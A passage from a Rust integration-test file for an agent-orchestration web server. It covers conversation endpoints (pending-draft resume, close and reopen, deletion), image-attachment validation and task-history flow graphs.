13078 for _ in 0..SETTLE_STEPS {
13079 if detail["turns"].as_array().expect("turns").len() == 2 {
13080 break;
13081 }
13082 tokio::time::sleep(Duration::from_millis(10)).await;
13083 detail = f.get(&format!("/api/talks/{id}")).await.json();
13084 }
13085 let turns = detail["turns"].as_array().expect("turns");
13086 assert_eq!(
13087 turns.len(),
13088 2,
13089 "the recovered draft must run once: {detail}"
13090 );
13091 assert_eq!(turns[0]["body"], "corrected");
13092 assert_eq!(detail["pending"], "");
13093 }
13094
13095 #[tokio::test]
13096 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13097 let tmp = TempDir::new().expect("tempdir");
13098 let repo = tmp.path().join("repo");
13099 std::fs::create_dir_all(&repo).expect("repo dir");
13100 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13101 let f = Fixture::with_repo(repo).await;
13102 let id = f.post("/api/talks", None).await.json()["id"]
13103 .as_str()
13104 .expect("id")
13105 .to_owned();
13106 let store = f.talks();
13107 let mut recovered = store.get(&id).expect("opened talk");
13108 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13109 .expect("persist pending draft without a live turn");
13110
13111 let refused = f
13112 .post(
13113 &format!("/api/talks/{id}/say"),
13114 Some(r#"{"text":"new message"}"#),
13115 )
13116 .await;
13117 assert_eq!(refused.status, 409, "{}", refused.body);
13118 assert!(refused.body.contains("resume"), "{}", refused.body);
13119 let saved = store.get(&id).expect("draft remains after refusal");
13120 assert!(saved.turns.is_empty());
13121 assert_eq!(saved.pending, "saved before restart");
13122
13123 let say_path = format!("/api/talks/{id}/say");
13124 let (first, second) = tokio::join!(
13125 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
13126 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
13127 );
13128 assert_eq!(first.status, 409, "{}", first.body);
13129 assert_eq!(second.status, 409, "{}", second.body);
13130 let saved = store
13131 .get(&id)
13132 .expect("draft remains after concurrent refusals");
13133 assert!(saved.turns.is_empty());
13134 assert_eq!(saved.pending, "saved before restart");
13135
13136 let resumed = f
13137 .post(&format!("/api/talks/{id}/pending/resume"), None)
13138 .await;
13139 assert_eq!(resumed.status, 202, "{}", resumed.body);
13140 let duplicate = f
13141 .post(&format!("/api/talks/{id}/pending/resume"), None)
13142 .await;
13143 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
13144
13145 for _ in 0..SETTLE_STEPS {
13146 if store.get(&id).expect("talk").turns.len() == 2 {
13147 break;
13148 }
13149 tokio::time::sleep(Duration::from_millis(10)).await;
13150 }
13151 let finished = store.get(&id).expect("finished talk");
13152 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13153 assert_eq!(finished.turns[0].body, "saved before restart");
13154 assert!(finished.pending.is_empty());
13155 }
13156
13157 #[tokio::test]
13158 async fn an_image_only_recovered_draft_resumes_without_text() {
13159 let (_tmp, _repo, f) = talk_fixture().await;
13160 let id = f.post("/api/talks", None).await.json()["id"]
13161 .as_str()
13162 .expect("id")
13163 .to_owned();
13164 let uploaded = f
13165 .post_bytes(
13166 &format!("/api/talks/{id}/attachments"),
13167 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
13168 PNG_BYTES,
13169 )
13170 .await;
13171 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13172 let attachment = f
13173 .talks()
13174 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
13175 .expect("attachment metadata")
13176 .expect("stored attachment");
13177 let store = f.talks();
13178 let mut recovered = store.get(&id).expect("opened talk");
13179 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
13180
13181 let resumed = f
13182 .post(&format!("/api/talks/{id}/pending/resume"), None)
13183 .await;
13184 assert_eq!(resumed.status, 202, "{}", resumed.body);
13185 for _ in 0..SETTLE_STEPS {
13186 if store.get(&id).expect("talk").turns.len() == 2 {
13187 break;
13188 }
13189 tokio::time::sleep(Duration::from_millis(10)).await;
13190 }
13191 let finished = store.get(&id).expect("finished talk");
13192 assert_eq!(finished.turns.len(), 2, "{finished:?}");
13193 assert!(finished.turns[0].body.is_empty());
13194 assert_eq!(finished.turns[0].attachments.len(), 1);
13195 assert!(finished.pending_attachments.is_empty());
13196 }
13197
13198 #[tokio::test]
13199 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
13200 let (_tmp, _repo, f) = talk_fixture().await;
13201 let id = f.post("/api/talks", None).await.json()["id"]
13202 .as_str()
13203 .expect("id")
13204 .to_owned();
13205 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13206 assert_eq!(closed.status, 200, "{}", closed.body);
13207 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13208 .expect("serialize closed talk");
13209 for (path, body) in [
13210 (format!("/api/talks/{id}/pending/resume"), None),
13211 (
13212 format!("/api/talks/{id}/pending/clear"),
13213 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
13214 ),
13215 (
13216 format!("/api/talks/{id}/pending/edit"),
13217 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
13218 ),
13219 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
13220 ] {
13221 let response = f.post(&path, body).await;
13222 assert_eq!(response.status, 409, "{}", response.body);
13223 }
13224 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
13225 .expect("serialize closed talk");
13226 assert_eq!(
13227 after_clear, before_clear,
13228 "clear must not rewrite a closed talk"
13229 );
13230 }
13231
13232 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
13235
13236 #[tokio::test]
13237 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
13238 let tmp = TempDir::new().expect("tempdir");
13239 let repo = tmp.path().join("repo");
13240 std::fs::create_dir_all(&repo).expect("repo dir");
13241 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13242 let f = Fixture::with_repo(repo).await;
13243 let id_a = f.post("/api/talks", None).await.json()["id"]
13244 .as_str()
13245 .unwrap()
13246 .to_owned();
13247 let id_b = f.post("/api/talks", None).await.json()["id"]
13248 .as_str()
13249 .unwrap()
13250 .to_owned();
13251
13252 let a = f
13253 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
13254 .await;
13255 assert_eq!(a.status, 202, "{}", a.body);
13256 assert_eq!(a.json()["thinking"], true);
13257 let b = f
13258 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
13259 .await;
13260 assert_eq!(b.status, 202, "{}", b.body);
13261 assert_eq!(b.json()["thinking"], true);
13262
13263 let listed = f.get("/api/talks").await.json();
13264 for id in [&id_a, &id_b] {
13265 let view = listed
13266 .as_array()
13267 .unwrap()
13268 .iter()
13269 .find(|talk| talk["id"] == *id)
13270 .unwrap();
13271 assert_eq!(view["thinking"], true, "{listed}");
13272 }
13273 let repeated = f
13274 .post(
13275 &format!("/api/talks/{id_a}/say"),
13276 Some(r#"{"text":"again"}"#),
13277 )
13278 .await;
13279 assert_eq!(repeated.status, 202, "{}", repeated.body);
13280 assert_eq!(repeated.json()["pending"], "again");
13281 }
13282
13283 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
13286
13287 #[tokio::test]
13288 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
13289 let f = Fixture::start().await;
13290 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
13291
13292 let res = f
13293 .post_bytes(
13294 &format!("/api/talks/{id}/attachments"),
13295 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13296 PNG_BYTES,
13297 )
13298 .await;
13299 assert_eq!(res.status, 201, "{}", res.body);
13300 let body = res.json();
13301 assert_eq!(body["name"], "shot.png");
13302 assert_eq!(body["mime"], "image/png");
13303 assert_eq!(body["bytes"], PNG_BYTES.len());
13304 let att_id = body["id"].as_str().expect("id").to_owned();
13305 assert_eq!(
13306 att_id.len(),
13307 32,
13308 "the id must never be a client-suppliable path: {att_id}"
13309 );
13310
13311 let got = f
13312 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
13313 .await;
13314 assert_eq!(got.status, 200, "{}", got.body);
13315 assert_eq!(got.header("content-type"), Some("image/png"));
13316 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
13317 assert_eq!(got.bytes, PNG_BYTES);
13318 }
13319
13320 #[tokio::test]
13321 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
13322 let f = Fixture::start().await;
13323 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
13324
13325 let svg = f
13328 .post_bytes(
13329 &format!("/api/talks/{id}/attachments"),
13330 &[("Content-Type", "image/svg+xml")],
13331 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
13332 )
13333 .await;
13334 assert!(
13335 (400..500).contains(&svg.status),
13336 "svg must be refused: {} {}",
13337 svg.status,
13338 svg.body
13339 );
13340 assert!(svg.body.contains("SVG"), "{}", svg.body);
13341
13342 let text = f
13343 .post_bytes(
13344 &format!("/api/talks/{id}/attachments"),
13345 &[("Content-Type", "text/plain")],
13346 b"just some text",
13347 )
13348 .await;
13349 assert!(
13350 (400..500).contains(&text.status),
13351 "an unlisted type must be refused: {} {}",
13352 text.status,
13353 text.body
13354 );
13355
13356 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
13359 let big = f
13360 .post_bytes(
13361 &format!("/api/talks/{id}/attachments"),
13362 &[("Content-Type", "image/png")],
13363 &oversized,
13364 )
13365 .await;
13366 assert_eq!(
13367 big.status,
13368 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
13369 "{}",
13370 big.body
13371 );
13372 }
13373
13374 #[tokio::test]
13375 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
13376 let f = Fixture::start().await;
13377 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
13378
13379 let res = f
13382 .post_bytes(
13383 &format!("/api/talks/{id}/attachments"),
13384 &[("Content-Type", "image/png")],
13385 b"<html>not a picture</html>",
13386 )
13387 .await;
13388 assert!((400..500).contains(&res.status), "{}", res.body);
13389 }
13390
13391 #[tokio::test]
13392 async fn an_unknown_attachment_id_is_a_404() {
13393 let f = Fixture::start().await;
13394 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13395
13396 let res = f
13397 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13398 .await;
13399 assert_eq!(res.status, 404, "{}", res.body);
13400 }
13401
13402 #[tokio::test]
13403 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13404 let f = Fixture::start().await;
13405 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13406
13407 let uploaded = f
13408 .post_bytes(
13409 &format!("/api/talks/{id}/attachments"),
13410 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13411 PNG_BYTES,
13412 )
13413 .await;
13414 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13415 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13416
13417 let res = f
13418 .post(
13419 &format!("/api/talks/{id}/say"),
13420 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13421 )
13422 .await;
13423 assert_eq!(res.status, 202, "{}", res.body);
13424 let queued = res.json();
13425 let turns = queued["turns"].as_array().expect("turns array");
13426 assert_eq!(
13427 turns.len(),
13428 1,
13429 "an empty body with an attachment is still a turn: {queued}"
13430 );
13431 assert_eq!(turns[0]["who"], "operator");
13432 assert_eq!(turns[0]["body"], "");
13433 let atts = turns[0]["attachments"]
13434 .as_array()
13435 .expect("attachments array");
13436 assert_eq!(atts.len(), 1);
13437 assert_eq!(atts[0]["id"], att_id);
13438 assert_eq!(atts[0]["mime"], "image/png");
13439
13440 let on_disk = f.talks().get(&id).expect("get");
13443 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13444 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13445 }
13446
13447 #[tokio::test]
13448 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13449 let f = Fixture::start().await;
13450 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13451
13452 let res = f
13453 .post(
13454 &format!("/api/talks/{id}/say"),
13455 Some(&format!(
13456 r#"{{"text":"hi","attachments":["{}"]}}"#,
13457 "a".repeat(32)
13458 )),
13459 )
13460 .await;
13461 assert!((400..500).contains(&res.status), "{}", res.body);
13462 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13463
13464 let on_disk = f.talks().get(&id).expect("get");
13465 assert!(
13466 on_disk.turns.is_empty(),
13467 "a rejected attachment id must not partially record the turn: {:?}",
13468 on_disk.turns
13469 );
13470 }
13471
13472 #[tokio::test]
13473 async fn talk_close_makes_the_talk_refuse_further_turns() {
13474 let f = Fixture::start().await;
13475 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13476
13477 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13478 assert_eq!(closed.status, 200, "{}", closed.body);
13479 assert_eq!(closed.json()["status"], "closed");
13480
13481 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13483 assert_eq!(closed_again.status, 200);
13484 assert_eq!(closed_again.json()["status"], "closed");
13485
13486 let said = f
13487 .post(
13488 &format!("/api/talks/{id}/say"),
13489 Some(r#"{"text":"too late"}"#),
13490 )
13491 .await;
13492 assert_eq!(said.status, 409, "{}", said.body);
13493 }
13494
13495 #[tokio::test]
13496 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13497 let (_tmp, _repo, f) = talk_fixture().await;
13498 let id = f.post("/api/talks", None).await.json()["id"]
13499 .as_str()
13500 .expect("id")
13501 .to_owned();
13502 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13503 assert_eq!(closed.status, 200, "{}", closed.body);
13504
13505 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13506 assert_eq!(reopened.status, 200, "{}", reopened.body);
13507 assert_eq!(reopened.json()["status"], "open");
13508
13509 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13511 assert_eq!(reopened_again.status, 200);
13512 assert_eq!(reopened_again.json()["status"], "open");
13513
13514 let said = f
13515 .post(
13516 &format!("/api/talks/{id}/say"),
13517 Some(r#"{"text":"still there?"}"#),
13518 )
13519 .await;
13520 assert_eq!(
13521 said.status, 202,
13522 "a reopened talk accepts turns again: {}",
13523 said.body
13524 );
13525 }
13526
13527 #[tokio::test]
13528 async fn talk_reopen_on_an_unknown_id_is_404() {
13529 let f = Fixture::start().await;
13530 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13531 assert_eq!(res.status, 404, "{}", res.body);
13532 }
13533
13534 #[tokio::test]
13535 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13536 let f = Fixture::start().await;
13537 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13538
13539 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13540 assert_eq!(deleted.status, 204, "{}", deleted.body);
13541
13542 let after = f.get(&format!("/api/talks/{id}")).await;
13543 assert_eq!(after.status, 404, "{}", after.body);
13544
13545 let listed = f.get("/api/talks").await.json();
13546 assert!(
13547 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13548 "a deleted talk must not linger in the list: {listed}"
13549 );
13550 }
13551
13552 #[tokio::test]
13553 async fn talk_delete_on_an_unknown_id_is_404() {
13554 let f = Fixture::start().await;
13555 let res = f.delete("/api/talks/nonexistent-id").await;
13556 assert_eq!(res.status, 404, "{}", res.body);
13557 }
13558
13559 #[tokio::test]
13563 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13564 let f = Fixture::start().await;
13565 let (a, b, gone) = (
13566 "20260902-140501-aaaa",
13567 "20260902-140502-bbbb",
13568 "20260902-140503-cccc",
13569 );
13570 write_run(&f.runs(), a, RunStatus::Stalled);
13571 let mut review = RunState::new(
13572 PathBuf::from("/repo/magi"),
13573 "main".to_owned(),
13574 "0123456789abcdef".to_owned(),
13575 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13576 .to_owned(),
13577 Config::default(),
13578 );
13579 review.id = b.to_owned();
13580 review.status = RunStatus::Merged;
13581 write_state(&f.runs(), &review);
13582
13583 let mut task = Task::new(
13584 "retry".to_owned(),
13585 "Do the thing".to_owned(),
13586 PathBuf::from("/repo/magi"),
13587 Source::Human,
13588 );
13589 task.start(a.to_owned());
13590 task.stall("quota");
13591 task.start(a.to_owned());
13592 task.start(b.to_owned());
13593 task.start(gone.to_owned());
13594 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13596 f.queue().put(&mut task).expect("file the task");
13597
13598 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13599 assert_eq!(res.status, 200, "{}", res.body);
13600 let v = res.json();
13601 let h = v["history"].as_array().expect("history");
13602 assert_eq!(h.len(), 4, "{v}");
13603 assert_eq!(h[0]["kind"], "competition");
13604 assert_eq!(h[0]["status"], "stalled");
13605 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13606 assert_eq!(h[1]["kind"], "resume", "{v}");
13607 assert!(
13608 h[0]["outcome"]
13609 .as_str()
13610 .unwrap()
13611 .contains("unknown. Pass #2"),
13612 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13613 );
13614 assert!(
13615 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13616 "{v}"
13617 );
13618 assert!(
13619 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13620 "an unrecorded cause must not be narrated as an operator park: {v}"
13621 );
13622 assert_eq!(h[2]["kind"], "review");
13623 assert!(
13624 h[2]["description"]
13625 .as_str()
13626 .unwrap()
13627 .contains("magi/aaaa/A")
13628 );
13629 assert_eq!(h[2]["status"], "merged");
13630 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13631 assert_eq!(v["runs_unreadable"], 1);
13632 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13633 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13634 assert_eq!(nodes[4]["note"], "unreadable");
13635 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13636 assert_eq!(v["instruction"], "Do the thing");
13637 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13638
13639 let run = f.get(&format!("/api/runs/{a}")).await.json();
13641 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13642
13643 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13644 }
13645
13646 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13647 let mut s = RunState::new(
13648 PathBuf::from("/repo/magi"),
13649 "main".to_owned(),
13650 "0123456789abcdef".to_owned(),
13651 "Do it".to_owned(),
13652 Config::default(),
13653 );
13654 s.status = status;
13655 edit(&mut s);
13656 s
13657 }
13658
13659 fn flow_task(runs: &[&str]) -> Task {
13660 let mut t = Task::new(
13661 "t".to_owned(),
13662 "Do it".to_owned(),
13663 PathBuf::from("/repo/magi"),
13664 Source::Human,
13665 );
13666 for r in runs {
13667 t.start((*r).to_owned());
13668 }
13669 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13671 t
13672 }
13673
13674 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13675 let h = task_history(task, |id| {
13676 states
13677 .iter()
13678 .find(|(i, _)| *i == id)
13679 .and_then(|(_, s)| s.clone())
13680 });
13681 task_flow(task, &h, 5, None)
13682 }
13683
13684 #[test]
13685 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
13686 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
13687 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13688 let first = "2026-10-10T02:00:00Z".parse().unwrap();
13689 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
13690 let held = "2026-10-10T04:00:00Z".parse().unwrap();
13691 let run = flow_run(RunStatus::Implementing, |s| {
13692 s.created_at = created;
13693 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
13694 s.passes[0].started_at = first;
13695 s.passes[1].started_at = resumed;
13696 });
13697 let mut task = flow_task(&[RUN_X, RUN_X]);
13698 task.created_at = queued;
13699 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
13700 task.status = TaskStatus::Held;
13701 task.held_at = Some(held);
13702 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
13703 assert_eq!(
13704 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
13705 vec![Some(queued), Some(first), Some(resumed), Some(held)]
13706 );
13707 assert!(flow.nodes.iter().all(|n| n.time_expected));
13708 let json = serde_json::to_value(&flow).unwrap();
13709 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
13710 assert_eq!(json["nodes"][2]["time_expected"], true);
13711 }
13712
13713 #[test]
13714 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
13715 let created = "2026-10-10T01:00:00Z".parse().unwrap();
13716 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
13717 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
13718 task.held_at = Some(created);
13720 task.blocked_at = Some(created);
13721 for status in [
13722 TaskStatus::Queued,
13723 TaskStatus::Running,
13724 TaskStatus::Blocked,
13725 TaskStatus::Done,
13726 TaskStatus::Failed,
13727 TaskStatus::Parked,
13728 TaskStatus::Held,
13729 ] {
13730 task.status = status;
13731 if status == TaskStatus::Held {
13732 task.held_at = None;
13733 }
13734 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
13735 assert_eq!(flow.nodes[1].started_at, Some(created));
13736 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
13737 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
13738 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
13739 let json = serde_json::to_value(&flow).unwrap();
13740 assert!(json["nodes"][3]["started_at"].is_null());
13741 assert_eq!(json["nodes"][3]["time_expected"], true);
13742 }
13743 }
13744
13745 #[test]
13746 fn flow_context_links_do_not_expect_start_times() {
13747 let mut task = flow_task(&[]);
13748 task.source = Source::Agent {
13749 run: "chat-id".to_owned(),
13750 node: "chat".to_owned(),
13751 };
13752 let origin = followup_origin(&fu(None), |_| None, |_| None);
13753 let flow = task_flow(&task, &[], 5, Some(&origin));
13754 for node in &flow.nodes[..2] {
13755 assert!(!node.time_expected);
13756 assert_eq!(node.started_at, None);
13757 }
13758 assert!(flow.nodes[2].time_expected);
13759 }
13760
13761 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13762 crate::queue::FollowUp {
13763 run: "20260901-000000-aaaa".to_owned(),
13764 origin_task: origin_task.map(str::to_owned),
13765 pr: "https://example.com/o/r/pull/1".to_owned(),
13766 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13767 .map(str::to_owned)
13768 .to_vec(),
13769 generation: 1,
13770 }
13771 }
13772
13773 fn parent_task() -> Task {
13774 let mut p = flow_task(&[]);
13775 p.title = "Parent title".to_owned();
13776 p.status = TaskStatus::Done;
13777 p
13778 }
13779
13780 #[test]
13781 fn flow_opens_with_the_parent_task_of_a_followup() {
13782 let p = parent_task();
13783 let pid = p.id.clone();
13784 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13785 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13786 let n = &f.nodes[0];
13787 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13788 assert_eq!(
13789 n.label,
13790 format!("Follow-up of {}", crate::queue::short(&pid))
13791 );
13792 assert_eq!(n.detail.as_deref(), Some("Parent title"));
13793 assert_eq!(n.status, Some("done"));
13794 assert_eq!(n.status_of, "task");
13795 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13796 assert_eq!(f.nodes[1].key, "start");
13797 assert_eq!(f.edges[0].from, "origin");
13798 assert_eq!(
13799 f.edges[0].label,
13800 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13801 );
13802 }
13803
13804 #[test]
13805 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13806 let o = followup_origin(
13807 &fu(Some("gone")),
13808 |_| None,
13809 |_| {
13810 Some(RunState::new(
13811 std::path::PathBuf::from("."),
13812 "main".to_owned(),
13813 "0".to_owned(),
13814 "t".to_owned(),
13815 crate::config::Config::default(),
13816 ))
13817 },
13818 );
13819 assert!(o.parent.is_none());
13820 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13821 let n = &f.nodes[0];
13822 assert_eq!(n.status_of, "run");
13823 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13824 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13825 }
13826
13827 #[test]
13828 fn flow_followup_with_nothing_readable_has_no_link() {
13829 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13830 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13831 let n = &f.nodes[0];
13832 assert_eq!(n.href, None);
13833 assert_eq!(n.note, Some("unreadable"));
13834 assert!(!n.readable);
13835 }
13836
13837 #[test]
13838 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13839 let o = followup_origin(&fu(None), |_| None, |_| None);
13840 let mut t = flow_task(&[]);
13841 t.origin_chat = Some("c1".to_owned());
13842 let f = task_flow(&t, &[], 5, Some(&o));
13843 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13844 t.source = Source::Agent {
13845 run: "c1".to_owned(),
13846 node: crate::queue::CHAT_NODE.to_owned(),
13847 };
13848 let f = task_flow(&t, &[], 5, Some(&o));
13849 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13850 assert_eq!(
13851 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13852 ("chat", "origin")
13853 );
13854 }
13855
13856 #[test]
13857 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13858 let mut p = parent_task();
13859 p.id = "a b/c".to_owned();
13860 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13861 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13862 }
13863
13864 #[test]
13865 fn flow_opens_with_the_chat_that_queued_the_task() {
13866 let mut t = flow_task(&[]);
13867 t.source = Source::Agent {
13868 run: "a b/c".to_owned(),
13869 node: crate::queue::CHAT_NODE.to_owned(),
13870 };
13871 let f = flow_for(&t, &[]);
13872 assert_eq!(f.nodes[0].key, "chat");
13873 assert_eq!(f.nodes[0].kind, "chat");
13874 assert_eq!(
13875 f.nodes[0].label,
13876 format!("Chat {}", crate::queue::short("a b/c"))
13877 );
13878 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13879 assert_eq!(f.nodes[1].key, "start");
13880 assert_eq!(
13881 f.edges[0],
13882 FlowEdge {
13883 from: "chat".to_owned(),
13884 to: "start".to_owned(),
13885 label: "queued from chat".to_owned(),
13886 attempt: AttemptCost::None,
13887 }
13888 );
13889 }
13890
13891 #[test]
13892 fn flow_has_no_chat_box_for_other_sources() {
13893 for source in [
13894 Source::Human,
13895 Source::Issue {
13896 number: 3,
13897 repo: "o/r".to_owned(),
13898 },
13899 Source::Agent {
13900 run: "20260904-014455-ab12".to_owned(),
13901 node: "implement".to_owned(),
13902 },
13903 ] {
13904 let mut t = flow_task(&[]);
13905 t.source = source;
13906 let f = flow_for(&t, &[]);
13907 assert_eq!(f.nodes[0].key, "start");
13908 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13909 assert!(f.edges.iter().all(|e| e.from != "chat"));
13910 }
13911 }
13912
13913 const FA: &str = "20260902-140501-aaaa";
13914 const FB: &str = "20260902-140502-bbbb";
13915
13916 #[test]
13917 fn flow_follows_blocked_retry_merged_to_done() {
13918 let mut t = flow_task(&[FA, FB]);
13919 t.status = TaskStatus::Done;
13920 let f = flow_for(
13921 &t,
13922 &[
13923 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13924 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13925 ],
13926 );
13927 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13928 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13929 assert_eq!(f.edges.len(), 3);
13930 assert_eq!(f.edges[0].label, "claimed");
13931 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13932 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13933 assert_eq!(f.edges[2].label, "merged \u{2192} done");
13934 assert_eq!(
13935 f.nodes[2].href.as_deref(),
13936 Some("#/runs/20260902-140502-bbbb")
13937 );
13938 assert!(f.nodes[2].decided);
13939 }
13940
13941 #[test]
13942 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13943 let quota = || {
13944 flow_run(RunStatus::Stalled, |s| {
13945 s.quota.push(crate::run::QuotaLoss {
13946 seat: "judge-1".to_owned(),
13947 node: "judge".to_owned(),
13948 at: Timestamp::now(),
13949 reset: None,
13950 })
13951 })
13952 };
13953 let mut t = flow_task(&[FA, FA]);
13954 t.status = TaskStatus::Queued;
13955 let f = flow_for(&t, &[(FA, Some(quota()))]);
13956 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13957 assert_eq!(f.nodes[1].note, Some("interrupted"));
13958 assert_eq!(
13959 f.nodes[1].status, None,
13960 "no outcome copied onto an earlier pass"
13961 );
13962 assert_eq!(
